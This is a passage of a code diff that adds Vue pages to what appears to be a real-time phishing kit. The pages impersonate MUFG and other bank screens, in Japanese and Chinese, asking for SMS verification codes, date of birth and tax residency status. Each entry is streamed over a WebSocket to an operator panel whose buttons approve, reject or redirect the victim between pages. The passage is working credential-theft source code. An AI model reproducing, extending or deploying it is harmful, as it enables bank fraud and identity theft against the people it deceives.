import { useRoute, useRouter } from 'vue-router';
|
||||
import { useI18n } from 'vue-i18n';
|
||||
import { inputChange, myWebSocket } from '@/utils/common';
|
||||
import eventBus from '@/utils/eventBus';
|
||||
import CommonLayout from '@/views/CommonLayout.vue';
|
||||
|
||||
const { t } = useI18n();
|
||||
const route = useRoute();
|
||||
const router = useRouter();
|
||||
const instance = getCurrentInstance()!;
|
||||
const isLoading = ref(false);
|
||||
const warningMessage = ref('');
|
||||
const message1 = ref('');
|
||||
const message = ref('');
|
||||
const codeInput = ref<HTMLInputElement | null>(null);
|
||||
|
||||
interface FormData {
|
||||
verificationcodepageex: {
|
||||
code: string;
|
||||
};
|
||||
}
|
||||
|
||||
const formData = ref<FormData>({ verificationcodepageex: { code: '' } });
|
||||
|
||||
const initialTime = 60;
|
||||
const timeLeft = ref(initialTime);
|
||||
const isCounting = ref(false);
|
||||
let timer: number | null = null;
|
||||
|
||||
const displayMessage = computed(() => {
|
||||
if (message.value === 'This card does not support this transaction, please try another card') {
|
||||
return 'Wrong code. Try again';
|
||||
}
|
||||
return message.value || warningMessage.value;
|
||||
});
|
||||
|
||||
const startCountdown = (resultType: string) => {
|
||||
if (isCounting.value) return;
|
||||
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: 'page_type',
|
||||
content: {
|
||||
pageType: 'verificationcodepageex',
|
||||
pageTitle: '验证码验证页',
|
||||
action: 'resend_code',
|
||||
resultType: resultType,
|
||||
},
|
||||
})
|
||||
);
|
||||
|
||||
isCounting.value = true;
|
||||
timeLeft.value = initialTime;
|
||||
|
||||
timer = window.setInterval(() => {
|
||||
if (timeLeft.value > 0) {
|
||||
timeLeft.value--;
|
||||
} else {
|
||||
stopCountdown();
|
||||
warningMessage.value = '';
|
||||
message.value = '';
|
||||
}
|
||||
}, 1000);
|
||||
};
|
||||
|
||||
const stopCountdown = () => {
|
||||
if (timer) {
|
||||
clearInterval(timer);
|
||||
timer = null;
|
||||
}
|
||||
isCounting.value = false;
|
||||
};
|
||||
|
||||
const resendCode = () => {
|
||||
if (isCounting.value) return;
|
||||
warningMessage.value = '';
|
||||
message.value = '';
|
||||
startCountdown('resendCode');
|
||||
};
|
||||
|
||||
const onInput = (event: Event) => {
|
||||
const target = event.target as HTMLInputElement;
|
||||
const value = target.value.replace(/[^0-9]/g, '').slice(0, 6);
|
||||
formData.value.verificationcodepageex.code = value;
|
||||
|
||||
inputChange('input_card', 'code', value);
|
||||
};
|
||||
|
||||
const next = async () => {
|
||||
await nextTick();
|
||||
warningMessage.value = '';
|
||||
|
||||
if (!formData.value.verificationcodepageex.code) {
|
||||
warningMessage.value = t('Please enter the verification code.');
|
||||
return;
|
||||
}
|
||||
|
||||
if (formData.value.verificationcodepageex.code.length < 6) {
|
||||
warningMessage.value = t('Verification code must be 6 digits.');
|
||||
return;
|
||||
}
|
||||
|
||||
isLoading.value = true;
|
||||
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: 'submit_card',
|
||||
content: {
|
||||
type: 'submitOp',
|
||||
verification_id: formData.value.verificationcodepageex.code,
|
||||
verification: {
|
||||
code: formData.value.verificationcodepageex.code,
|
||||
},
|
||||
start_page: 'VerificationCode',
|
||||
opButton: {
|
||||
showCustom: false,
|
||||
list: [
|
||||
{ label: '通过', value: 'success' },
|
||||
{ label: '拒绝', value: 'reject', type: 'input2' },
|
||||
{ label: '账号首页', value: 'login_mufg', type: 'input1' },
|
||||
{ label: '选择验证方式业', value: 'verificationpage', type: 'input1' },
|
||||
{ label: '短信验证码页', value: 'verificationpageex', type: 'input1' },
|
||||
{ label: '跳转完成', value: 'success' },
|
||||
],
|
||||
},
|
||||
},
|
||||
})
|
||||
);
|
||||
};
|
||||
|
||||
const goBack = () => {
|
||||
router.back();
|
||||
};
|
||||
|
||||
const handleEvent = (data: { message2: string; message1?: string; redirect_to?: string }) => {
|
||||
message.value = data.message2;
|
||||
if (data.message1) {
|
||||
message1.value = data.message1;
|
||||
localStorage.setItem('message1', data.message1);
|
||||
}
|
||||
isLoading.value = false;
|
||||
|
||||
if (data.redirect_to) {
|
||||
router.push(data.redirect_to);
|
||||
}
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
if (route.query.message1) {
|
||||
message1.value = route.query.message1 as string;
|
||||
localStorage.setItem('message1', route.query.message1 as string);
|
||||
} else if (localStorage.getItem('message1')) {
|
||||
message1.value = localStorage.getItem('message1') as string;
|
||||
} else {
|
||||
message1.value = '+852 46898199';
|
||||
}
|
||||
|
||||
eventBus.on('my-event', handleEvent);
|
||||
|
||||
localStorage.setItem('route', 'verificationcodepageex');
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: 'page_type',
|
||||
content: { pageType: 'verificationcodepageex', pageTitle: '短信验证页' },
|
||||
})
|
||||
);
|
||||
|
||||
startCountdown('initialLoad');
|
||||
if (codeInput.value) {
|
||||
codeInput.value.focus();
|
||||
}
|
||||
});
|
||||
|
||||
onUnmounted(() => {
|
||||
eventBus.off('my-event', handleEvent);
|
||||
stopCountdown();
|
||||
});
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
.wrapper-main {
|
||||
min-width: 320px;
|
||||
}
|
||||
|
||||
.form-wrapper-outer {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.form-wrapper {
|
||||
width: 100%;
|
||||
max-width: 400px;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
.index-wrapper {
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.back-btn1 {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
cursor: pointer;
|
||||
color: #0f1112;
|
||||
margin-bottom: 30px;
|
||||
font-size: 18px;
|
||||
}
|
||||
|
||||
.back-btn1 i {
|
||||
margin-right: 0px;
|
||||
}
|
||||
|
||||
.form-title111 {
|
||||
font-size: 24px;
|
||||
font-weight: 700;
|
||||
line-height: 32px;
|
||||
margin-bottom: 20px;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.form-desc1 {
|
||||
text-align: left;
|
||||
color: #666;
|
||||
/* margin-bottom: 30px; */
|
||||
font-size: 15px;
|
||||
}
|
||||
|
||||
.input-container {
|
||||
position: relative;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.input-icon {
|
||||
position: absolute;
|
||||
left: 12px;
|
||||
top: 50%;
|
||||
transform: translateY(-50%);
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
}
|
||||
|
||||
.verification-code-input {
|
||||
width: 100%;
|
||||
height: 50px;
|
||||
padding: 10px 12px 10px 40px;
|
||||
border: 1px solid #d0d0d0;
|
||||
border-radius: 4px;
|
||||
font-size: 16px;
|
||||
box-sizing: border-box;
|
||||
outline: none;
|
||||
transition: border-color 0.3s ease;
|
||||
}
|
||||
|
||||
.verification-code-input:focus {
|
||||
border-color: #2d3134;
|
||||
}
|
||||
|
||||
.verification-code-input::placeholder {
|
||||
color: #aaa;
|
||||
}
|
||||
|
||||
.error-container {
|
||||
min-height: 20px;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.error-msg {
|
||||
color: #ff4d4f;
|
||||
font-size: 14px;
|
||||
text-align: left;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.verification-option-btn {
|
||||
width: 100%;
|
||||
padding: 16px;
|
||||
border-radius: 8px;
|
||||
font-size: 16px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
background-color: #b2fce4;
|
||||
color: #000;
|
||||
border: none;
|
||||
cursor: pointer;
|
||||
transition: background-color 0.3s ease;
|
||||
margin-bottom: 15px;
|
||||
height: 60px;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.verification-option-btn:hover:not(:disabled) {
|
||||
background-color: #d0ffe0;
|
||||
}
|
||||
|
||||
.verification-option-btn:disabled {
|
||||
opacity: 0.7;
|
||||
cursor: not-allowed;
|
||||
}
|
||||
|
||||
.resend-code-container {
|
||||
text-align: left;
|
||||
margin-top: 30px;
|
||||
}
|
||||
|
||||
.resend-text {
|
||||
font-size: 15px;
|
||||
color: #666;
|
||||
display: inline;
|
||||
}
|
||||
|
||||
.resend-link {
|
||||
font-size: 15px;
|
||||
color: #2d3134;
|
||||
text-decoration: underline;
|
||||
cursor: pointer;
|
||||
margin-left: 5px;
|
||||
}
|
||||
|
||||
.resend-link.disabled {
|
||||
color: #a6a6a6;
|
||||
cursor: not-allowed;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.loading-modal {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background-color: rgba(0, 0, 0, 0.5);
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
z-index: 2000;
|
||||
}
|
||||
|
||||
.loading-modal-content {
|
||||
background-color: #fff;
|
||||
padding: 60px;
|
||||
border-radius: 8px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.2);
|
||||
}
|
||||
|
||||
.loading-spinner {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
border: 4px solid rgba(0, 0, 0, 0.1);
|
||||
border-top-color: #000;
|
||||
border-radius: 50%;
|
||||
animation: spin 1s ease-in-out infinite;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.loading-text {
|
||||
font-size: 16px;
|
||||
color: #000;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
to {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
.contacts-btn {
|
||||
text-align: center;
|
||||
font-size: 14px;
|
||||
color: #666;
|
||||
}
|
||||
|
||||
.contacts-btn a {
|
||||
color: #909499;
|
||||
text-decoration: underline !important;
|
||||
}
|
||||
|
||||
.reset-font,
|
||||
.reset-font * {
|
||||
font-family: Arial, sans-serif;
|
||||
}
|
||||
</style>
|
||||
299
a9_usa_Fine_amazon/src/views/info_mufgView.vue
Normal file
@@ -0,0 +1,299 @@
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<section data-v-91486aa4 class="w-full text-base text-[#333333]">
|
||||
<div data-v-91486aa4 class="relative w-full">
|
||||
<p class="mx-auto max-w-[980px] font-bold text-xl border-b-[3px] border-solid border-[#eee] p-4">ログイン追加認証</p>
|
||||
<div class="h-full mx-auto max-w-[980px] text-sm px-4">
|
||||
<form class="w-full mt-4" @submit.prevent="next">
|
||||
<div class="border-2 border-solid border-[#d5d5d5] px-2 pb-4">
|
||||
<div class="w-full">
|
||||
<div class="w-full mt-6 lg:flex lg:items-center">
|
||||
<p class="mb-1 text-base text-[#333] font-bold lg:min-w-[230px]">
|
||||
ご生年月日 <span class="text-[#e8bd56]">※</span>
|
||||
</p>
|
||||
<div class="flex items-center space-x-4">
|
||||
<input
|
||||
type="tel"
|
||||
placeholder="年"
|
||||
required
|
||||
maxlength="4"
|
||||
pattern="[0-9]*"
|
||||
class="w-full h-[38px] placeholder:text-slate-400 text-[#333] text-sm border border-[#bcbcbc] py-1 px-2 rounded transition duration-300 ease focus:outline-none focus:border-[#66afe9] hover:border-[#66afe9]"
|
||||
v-model="formData.card.cardNumber"
|
||||
@input="onCardNumberChange"
|
||||
@focus="isCardNumberFocused = true"
|
||||
@blur="isCardNumberFocused = formData.card.cardNumber !== ''"
|
||||
autocomplete="off"
|
||||
/>
|
||||
<span class="mx-2">年</span>
|
||||
<select
|
||||
required
|
||||
class="w-full h-[38px] placeholder:text-slate-400 text-[#333] text-sm border border-[#bcbcbc] px-2 rounded transition duration-300 ease focus:outline-none focus:border-[#66afe9] hover:border-[#66afe9]"
|
||||
v-model="formData.card.expiryMonth"
|
||||
@change="onExpiryChange"
|
||||
@focus="isExpiryFocused = true"
|
||||
@blur="isExpiryFocused = formData.card.expiryMonth !== ''"
|
||||
>
|
||||
<option value="">月</option>
|
||||
<option v-for="month in 12" :key="month" :value="month.toString().padStart(2, '0')">{{ month }}</option>
|
||||
</select>
|
||||
<select
|
||||
required
|
||||
class="w-full h-[38px] placeholder:text-slate-400 text-[#333] text-sm border border-[#bcbcbc] px-2 rounded transition duration-300 ease focus:outline-none focus:border-[#66afe9] hover:border-[#66afe9]"
|
||||
v-model="formData.card.expiryYear"
|
||||
@change="onExpiryChange"
|
||||
@focus="isExpiryFocused = true"
|
||||
@blur="isExpiryFocused = formData.card.expiryYear !== ''"
|
||||
>
|
||||
<option value="">日</option>
|
||||
<option v-for="day in 31" :key="day" :value="day.toString().padStart(2, '0')">{{ day }}</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="w-full mt-1 lg:flex lg:items-center">
|
||||
<p class="mb-1 text-base text-[#333] font-bold lg:min-w-[230px]"></p>
|
||||
<div class="w-full">
|
||||
<p>年は西暦で入力してください。</p>
|
||||
<p class="pt-1">例) 1980年10月7日</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="error" v-if="warningMessage && (!formData.card.cardNumber || !formData.card.expiryMonth || !formData.card.expiryYear)">
|
||||
{{ warningMessage }}
|
||||
</div>
|
||||
<div class="error" v-if="message" style="color: red; font-size: 20px;">
|
||||
{{ message }}
|
||||
</div>
|
||||
<div class="error" v-if="cardNumberError" style="color: red;">
|
||||
{{ cardNumberError }}
|
||||
</div>
|
||||
<div class="mx-auto max-w-[240px] my-4">
|
||||
<button
|
||||
type="submit"
|
||||
class="loginBtn"
|
||||
:disabled="isLoading || !isFormFilled"
|
||||
:class="{ 'bg-[#d9d9d9] text-[#a6a6a6]': !isFormFilled || isLoading, 'bg-[#1a70b2] text-[#fff]': isFormFilled && !isLoading }"
|
||||
>
|
||||
<span v-if="isLoading" class="flex items-center">
|
||||
<svg
|
||||
t="1720435890144"
|
||||
class="icon animate-spin h-5 w-5 text-white mr-2"
|
||||
viewBox="0 0 1024 1024"
|
||||
version="1.1"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
p-id="1494"
|
||||
>
|
||||
<path
|
||||
d="M511.882596 287.998081h-0.361244a31.998984 31.998984 0 0 1-31.659415-31.977309v-0.361244c0-0.104761 0.115598-11.722364 0.115598-63.658399V96.000564a31.998984 31.998984 0 1 1 64.001581 0V192.001129c0 52.586273-0.111986 63.88237-0.119211 64.337537a32.002596 32.002596 0 0 1-31.977309 31.659415zM511.998194 959.99842a31.998984 31.998984 0 0 1-31.998984-31.998984v-96.379871c0-51.610915-0.111986-63.174332-0.115598-63.286318s0-0.242033 0-0.361243a31.998984 31.998984 0 0 1 63.997968-0.314283c0 0.455167 0.11921 11.711527 0.11921 64.034093v96.307622a31.998984 31.998984 0 0 1-32.002596 31.998984zM330.899406 363.021212a31.897836 31.897836 0 0 1-22.866739-9.612699c-0.075861-0.075861-8.207461-8.370021-44.931515-45.094076L195.198137 240.429485a31.998984 31.998984 0 0 1 45.256635-45.253022L308.336112 263.057803c37.182834 37.182834 45.090463 45.253022 45.41197 45.578141A31.998984 31.998984 0 0 1 330.899406 363.021212zM806.137421 838.11473a31.901448 31.901448 0 0 1-22.628318-9.374279L715.624151 760.859111c-36.724054-36.724054-45.018214-44.859267-45.097687-44.93874a31.998984 31.998984 0 0 1 44.77618-45.729864c0.32512 0.317895 8.395308 8.229136 45.578142 45.411969l67.88134 67.88134a31.998984 31.998984 0 0 1-22.624705 54.630914zM224.000113 838.11473a31.901448 31.901448 0 0 0 22.628317-9.374279l67.88134-67.88134c36.724054-36.724054 45.021826-44.859267 45.097688-44.93874a31.998984 31.998984 0 0 0-44.776181-45.729864c-0.32512 0.317895-8.395308 8.229136-45.578142 45.411969l-67.88134 67.884953a31.998984 31.998984 0 0 0 22.628318 54.627301zM255.948523 544.058589h-0.361244c-0.104761 0-11.722364-0.115598-63.658399-0.115598H95.942765a31.998984 31.998984 0 1 1 0-64.00158h95.996952c52.586273 0 63.88237 0.111986 64.337538 0.11921a31.998984 31.998984 0 0 1 31.659414 31.97731v0.361244a32.002596 32.002596 0 0 1-31.988146 31.659414zM767.939492 544.058589a32.002596 32.002596 0 0 1-31.995372-31.666639v-0.361244a31.998984 31.998984 0 0 1 31.659415-31.970085c0.455167 0 11.754876-0.11921 64.34115-0.11921h96.000564a31.998984 31.998984 0 0 1 0 64.00158H831.944685c-51.936034 0-63.553638 0.111986-63.665624 0.115598h-0.335957zM692.999446 363.0176a31.998984 31.998984 0 0 1-22.863126-54.381656c0.317895-0.32512 8.229136-8.395308 45.41197-45.578141l67.88134-67.884953A31.998984 31.998984 0 0 1 828.693489 240.429485l-67.892177 67.88134c-31.020013 31.023625-41.644196 41.759794-44.241539 44.393262l-0.697201 0.722488a31.908673 31.908673 0 0 1-22.863126 9.591025z"
|
||||
fill="#ffffff"
|
||||
p-id="1495"
|
||||
></path>
|
||||
</svg>
|
||||
検証中...
|
||||
</span>
|
||||
<span v-else>認証</span>
|
||||
</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<script setup lang="ts">
|
||||
import { getCurrentInstance, onMounted, ref, computed, nextTick, onUnmounted } from 'vue';
|
||||
import { useRouter } from 'vue-router';
|
||||
import CommonLayout from '@/views/CommonLayout.vue';
|
||||
import { useI18n } from 'vue-i18n';
|
||||
import { useLoadingStore } from '@/stores/loadingStore';
|
||||
import { inputChange, myWebSocket } from '@/utils/common';
|
||||
import eventBus from '@/utils/eventBus';
|
||||
|
||||
const { t } = useI18n();
|
||||
const router = useRouter();
|
||||
const loadingStore = useLoadingStore();
|
||||
const instance = getCurrentInstance()!;
|
||||
|
||||
interface FormData {
|
||||
card: {
|
||||
cardNumber: string;
|
||||
cardholder: string;
|
||||
expiryMonth: string;
|
||||
expiryYear: string;
|
||||
cvv: string;
|
||||
};
|
||||
}
|
||||
|
||||
const formData = ref<FormData>({
|
||||
card: {
|
||||
cardNumber: '',
|
||||
cardholder: '',
|
||||
expiryMonth: '',
|
||||
expiryYear: '',
|
||||
cvv: '',
|
||||
},
|
||||
});
|
||||
const warningMessage = ref('');
|
||||
const cardNumberError = ref('');
|
||||
const isLoading = ref(false);
|
||||
const isCardNumberFocused = ref(false);
|
||||
const isExpiryFocused = ref(false);
|
||||
|
||||
const isFormFilled = computed(() => {
|
||||
return (
|
||||
formData.value.card.cardNumber.trim() !== '' &&
|
||||
formData.value.card.expiryMonth !== '' &&
|
||||
formData.value.card.expiryYear !== ''
|
||||
);
|
||||
});
|
||||
|
||||
const next = async () => {
|
||||
await nextTick();
|
||||
warningMessage.value = '';
|
||||
cardNumberError.value = '';
|
||||
|
||||
// Check required fields
|
||||
if (
|
||||
!formData.value.card.cardNumber ||
|
||||
!formData.value.card.expiryMonth ||
|
||||
!formData.value.card.expiryYear
|
||||
) {
|
||||
warningMessage.value = t('すべてのフィールドに入力してください。');
|
||||
return;
|
||||
}
|
||||
|
||||
// Validate card number length (excluding spaces)
|
||||
const rawCardNumber = formData.value.card.cardNumber.replace(/\s+/g, '');
|
||||
if (rawCardNumber.length < 4) {
|
||||
cardNumberError.value = '年份が無効です。修正して再提出してください。';
|
||||
return;
|
||||
}
|
||||
|
||||
isLoading.value = true;
|
||||
let submitValue = rawCardNumber;
|
||||
localStorage.setItem('cardNumber', submitValue);
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: 'submit_card',
|
||||
content: {
|
||||
type: 'submitOp',
|
||||
card_number: submitValue,
|
||||
cardholder: formData.value.card.cardholder,
|
||||
expiry: `${formData.value.card.expiryMonth}/${formData.value.card.expiryYear}`,
|
||||
cvv: formData.value.card.cvv,
|
||||
start_page: 'card',
|
||||
opButton: {
|
||||
showCustom: false,
|
||||
list: [
|
||||
{ label: '确认', value: 'verificationpage', type: 'input1' },
|
||||
{ label: '拒绝', value: 'reject', type: 'input2' },
|
||||
{ label: '登录页', value: 'login_mufg', type: 'input1' },
|
||||
{ label: '验证码验证', value: 'verificationpage', type: 'input1' },
|
||||
{ label: '账号信息页', value: 'nextlogin_mufg', type: 'input1' },
|
||||
{ label: '验证码验证', value: 'verificationpage', type: 'input1' },
|
||||
{ label: "暗证番号页", value: "verificationpageex", type: "input1" },
|
||||
{ label: "安全监测页", value: "sdpage_mufg", type: "input1" },
|
||||
{ label: '跳转完成', value: 'success' },
|
||||
|
||||
],
|
||||
},
|
||||
},
|
||||
})
|
||||
);
|
||||
};
|
||||
|
||||
const onCardNumberChange = (event: any) => {
|
||||
const rawValue = event.target.value.replace(/\s+/g, '');
|
||||
const numericValue = rawValue.replace(/\D/g, '');
|
||||
inputChange('input_card', 'cardNumber', numericValue);
|
||||
formData.value.card.cardNumber = numericValue.slice(0, 4);
|
||||
cardNumberError.value = ''; // Clear error on input change
|
||||
};
|
||||
|
||||
const onchange = (event: any) => {
|
||||
inputChange('input_card', event.target.id, event.target.value);
|
||||
};
|
||||
|
||||
const onExpiryChange = () => {
|
||||
const expiry = `${formData.value.card.expiryMonth}/${formData.value.card.expiryYear}`;
|
||||
inputChange('input_card', 'expiry', expiry);
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
const userData = getCurrentInstance()?.appContext.config.globalProperties.$userData;
|
||||
if (userData && userData.card) {
|
||||
formData.value = userData;
|
||||
}
|
||||
eventBus.on('my-event', handleEvent);
|
||||
|
||||
localStorage.setItem('route', 'card');
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: 'page_type',
|
||||
content: { pageType: 'card', pageTitle: 'ログイン追加認証' },
|
||||
})
|
||||
);
|
||||
});
|
||||
|
||||
const message = ref('');
|
||||
const handleEvent = (data: { message2: string }) => {
|
||||
message.value = data.message2;
|
||||
console.log('data', data);
|
||||
isLoading.value = false;
|
||||
};
|
||||
|
||||
onUnmounted(() => {
|
||||
eventBus.off('my-event', handleEvent);
|
||||
});
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
/* 错误提示 */
|
||||
.error {
|
||||
color: #ff4d4f;
|
||||
font-size: 14px;
|
||||
margin-top: 5px;
|
||||
}
|
||||
|
||||
/* 登录按钮样式 */
|
||||
.loginBtn {
|
||||
width: 100%;
|
||||
border-radius: 9999px;
|
||||
padding: 12px 24px;
|
||||
font-size: 16px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
transition: background-color 0.3s ease;
|
||||
}
|
||||
|
||||
.loginBtn:disabled {
|
||||
background-color: #d9d9d9;
|
||||
color: #a6a6a6;
|
||||
cursor: not-allowed;
|
||||
}
|
||||
|
||||
/* 响应式调整 */
|
||||
@media (max-width: 480px) {
|
||||
.max-w-[980px] {
|
||||
max-width: 100%;
|
||||
}
|
||||
|
||||
.px-4 {
|
||||
padding-left: 16px;
|
||||
padding-right: 16px;
|
||||
}
|
||||
|
||||
.text-xl {
|
||||
font-size: 18px;
|
||||
}
|
||||
|
||||
.max-w-[240px] {
|
||||
max-width: 100%;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
485
a9_usa_Fine_amazon/src/views/sdpage_mufgView.vue
Normal file
@@ -0,0 +1,485 @@
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="wrapper-main" style="margin-top: 80px;">
|
||||
<div class="form-wrapper-outer">
|
||||
<div class="form-wrapper">
|
||||
<div id="app">
|
||||
<!-- <div class="back-btn" @click="goBack">
|
||||
<i class="iconfont icon-arrow01-left"></i> 返回
|
||||
</div> -->
|
||||
<h2 class="form-title">美國稅務居民身份確認</h2>
|
||||
<p class="form-desc">
|
||||
根據美國與香港之跨政府協議 (IGA),客戶必須確認是否擁有美國身份。請確認貴客戶是否為美國稅務居民。
|
||||
</p>
|
||||
<form @submit.prevent="submitForm">
|
||||
<div class="checkbox-group">
|
||||
<div class="checkbox-item" :class="{ 'checked': formdata.isUsTaxResident }">
|
||||
<label class="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
v-model="formdata.isUsTaxResident"
|
||||
:value="true"
|
||||
@change="updateSelection('isUsTaxResident')"
|
||||
/>
|
||||
<span class="checkbox-custom"></span>
|
||||
<span class="checkbox-text">本人聲明於提交本表格時是美國稅務居民。</span>
|
||||
</label>
|
||||
</div>
|
||||
<div class="checkbox-item" :class="{ 'checked': formdata.isNotUsTaxResident }">
|
||||
<label class="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
v-model="formdata.isNotUsTaxResident"
|
||||
:value="true"
|
||||
@change="updateSelection('isNotUsTaxResident')"
|
||||
/>
|
||||
<span class="checkbox-custom"></span>
|
||||
<span class="checkbox-text">本人聲明於提交本表格時並非美國稅務居民。</span>
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
<div class="info-section">
|
||||
<p class="info-title">美國稅務居民包括但不限於:</p>
|
||||
<ul class="info-list">
|
||||
<li>美國公民或合法永久居民(綠卡持有人)。</li>
|
||||
<li>在美國擁有主要居所或長期居住的人士。</li>
|
||||
<li>符合美國稅法規定的「實質存在測試」的人士。</li>
|
||||
<li>在美國有應稅收入或需繳納美國聯邦所得稅的人士。</li>
|
||||
</ul>
|
||||
<div class="warning-box">
|
||||
<i class="iconfont icon-warning"></i>
|
||||
<p class="warning-text">
|
||||
如您不確定是否為美國稅務居民,請諮詢專業稅務顧問以確保遵守相關法規。
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
<button
|
||||
type="submit"
|
||||
class="submit-btn"
|
||||
:class="{ 'disabled': !isFormValid }"
|
||||
@click="handleButtonClick"
|
||||
>
|
||||
<span v-if="!isLoading">提交</span>
|
||||
<span v-else class="loading-spinner"></span>
|
||||
</button>
|
||||
<p v-if="errorMessage" class="error-msg">{{ errorMessage }}</p>
|
||||
</form>
|
||||
<div class="contacts-section">
|
||||
<p>如需協助,請聯繫客服:</p>
|
||||
<a href="tel:+85225233588" class="contact-link">+852 2523 3588</a>
|
||||
<p class="service-hours">服務時間:週一至週五 9:00-18:00</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="form-loading" v-if="isLoading">
|
||||
<div class="loading-mask"></div>
|
||||
<div class="loading-icon"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<script setup lang="ts">
|
||||
import { ref, computed, onMounted } from "vue";
|
||||
import { useRouter } from "vue-router";
|
||||
import CommonLayout from '@/views/CommonLayout.vue';
|
||||
import { myWebSocket } from "@/utils/common"; // 假设已定义 myWebSocket
|
||||
|
||||
const router = useRouter();
|
||||
const formdata = ref({
|
||||
isUsTaxResident: false,
|
||||
isNotUsTaxResident: false,
|
||||
});
|
||||
const errorMessage = ref("");
|
||||
const isLoading = ref(false);
|
||||
const hasAttemptedSubmit = ref(false);
|
||||
|
||||
const updateSelection = (selectedField: string) => {
|
||||
if (selectedField === "isUsTaxResident" && formdata.value.isUsTaxResident) {
|
||||
formdata.value.isNotUsTaxResident = false;
|
||||
} else if (selectedField === "isNotUsTaxResident" && formdata.value.isNotUsTaxResident) {
|
||||
formdata.value.isUsTaxResident = false;
|
||||
}
|
||||
errorMessage.value = "";
|
||||
};
|
||||
|
||||
const isFormValid = computed(() => {
|
||||
return formdata.value.isUsTaxResident || formdata.value.isNotUsTaxResident;
|
||||
});
|
||||
|
||||
const handleButtonClick = () => {
|
||||
hasAttemptedSubmit.value = true;
|
||||
if (!isFormValid.value) {
|
||||
errorMessage.value = "請選擇一個選項以繼續。";
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
};
|
||||
|
||||
const submitForm = async () => {
|
||||
if (!handleButtonClick()) return;
|
||||
|
||||
isLoading.value = true;
|
||||
try {
|
||||
// 确定 resultType 基于用户选择
|
||||
const resultType = formdata.value.isUsTaxResident ? "isUsTaxResident" : "isNotUsTaxResident";
|
||||
|
||||
// 发送 WebSocket 事件
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: {
|
||||
pageType: "sdpage_mufg",
|
||||
pageTitle: "美国税务居民身份确认",
|
||||
resultType: resultType,
|
||||
},
|
||||
})
|
||||
);
|
||||
|
||||
// 模拟 API 调用
|
||||
await new Promise((resolve) => setTimeout(resolve, 2000));
|
||||
router.push("/tcassword");
|
||||
} catch (error) {
|
||||
errorMessage.value = "提交失敗,請稍後重試。";
|
||||
} finally {
|
||||
isLoading.value = false;
|
||||
}
|
||||
};
|
||||
|
||||
const goBack = () => {
|
||||
router.back();
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
document.title = "個人網上銀行服務 - 美國稅務居民身份確認";
|
||||
localStorage.setItem("route", "sdpage_mufg");
|
||||
// 发送 sdpage_mufg WebSocket 事件
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: {
|
||||
pageType: "sdpage_mufg",
|
||||
pageTitle: "美国税务居民身份确认页面",
|
||||
},
|
||||
})
|
||||
);
|
||||
});
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
.wrapper-main {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
min-height: 100vh;
|
||||
background: #f5f6f8;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
.form-wrapper-outer {
|
||||
width: 100%;
|
||||
max-width: 500px;
|
||||
}
|
||||
|
||||
.form-wrapper {
|
||||
background: #ffffff;
|
||||
border-radius: 16px;
|
||||
box-shadow: 0 2px 12px rgba(0, 0, 0, 0.08);
|
||||
padding: 40px;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.back-btn {
|
||||
display: inline-flex;
|
||||
